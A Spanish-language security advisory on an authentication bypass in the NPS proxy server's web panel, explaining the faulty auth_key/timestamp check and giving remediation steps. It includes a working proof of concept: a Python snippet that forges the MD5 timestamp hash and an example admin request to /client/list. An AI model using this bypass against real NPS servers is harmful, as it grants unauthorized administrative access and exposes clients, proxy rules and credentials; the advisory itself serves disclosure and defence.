Vulnerabilidad de Acceso No Autorizado en NPS mediante auth_key

Información Básica de la Vulnerabilidad

Contexto

NPS es un servidor proxy de penetración de red ligero que soporta reenvío de tráfico TCP, UDP, Socks5 y HTTP. Presenta una vulnerabilidad de bypass de autenticación en su interfaz web, permitiendo acceso no autorizado a funciones administrativas mediante manipulación de parámetros.

Versiones Afectadas

Versiones ≤ 0.26.10. La lógica de autenticación defectuosa permite la ejecución remota de operaciones críticas sin credenciales válidas.

Impacto

  • Acceso completo al panel administrativo sin autenticación
  • Exposición de información sensible: clientes, reglas de proxy y credenciales
  • Creación de nuevas reglas de reenvío para acceso interno
  • Modificación o eliminación de configuraciones existentes

Análisis Técnico

Causa Raíz

Defecto en la validación de parámetros de autenticación:

  • Clave auth_key deshabilitada por defecto en nps.conf
  • Mecanismo de verificación dependiente solo de dos parámetros: auth_key y timestamp

Lógica de Verificación

claveMD5 := obtenerParametro("auth_key")
marcaTiempo := obtenerEntero("timestamp")
claveConfig := obtenerConfig("auth_key")
tiempoActual := time.Now().Unix()

if !(claveMD5 != "" && 
     Abs(tiempoActual - int64(marcaTiempo)) <= 20 &&
     MD5(claveConfig + strconv.Itoa(marcaTiempo)) == claveMD5) {
  if !sesionActiva("auth") {
    redirigirLogin()
  }
} else {
  establecerSesionAdmin()
}

Cuando auth_key está vacío, el servidor valida MD5(timestamp), permitiendo bypass con parámetros generados.

Demostración de Explotación

Prepaarción

  • Objetivo: NPS v0.26.10 con puerto web accesible
  • Herramientas: Python, Burp Suite, navegador web

Generación de Parámetros

import time
import hashlib

ts = int(time.time())
hash_val = hashlib.md5(str(ts).encode()).hexdigest()
print(f"Index/Index?auth_key={hash_val}&timestamp={ts}")

Acceso no Autorizado

Visitar URL generada en 20 segundos. Ejemplo de solicitud administrativa:

POST /client/list HTTP/1.1
Host: [IP_OBJETIVO]:8080
Content-Type: application/x-www-form-urlencoded

auth_key=[HASH]&timestamp=[TS]&offset=0&limit=10

Soluciones

Recomendado

  1. Actualizar a versión ≥ 0.26.14
  2. Configurar auth_key con valor complejo en nps.conf
  3. Reiniciar servicio: systemctl restart nps

Alternativas

  • Restringir acceso al puerto administrativo (TCP/8080)
  • Habilitar regitsro de auditoría para monitorear parámetros

Medidas Defensivas

  • Limitar direcciones IP autorizadas para el panel administrativo
  • Verificar periódicamente la configuración de auth_key
  • Implementar monitoreo de solicitudes con parámetros de autenticación

Etiquetas: NPS auth_key bypass-autenticacion vulnerabilidad-seguridad proxy-redes

Publicado el 6-21 04:42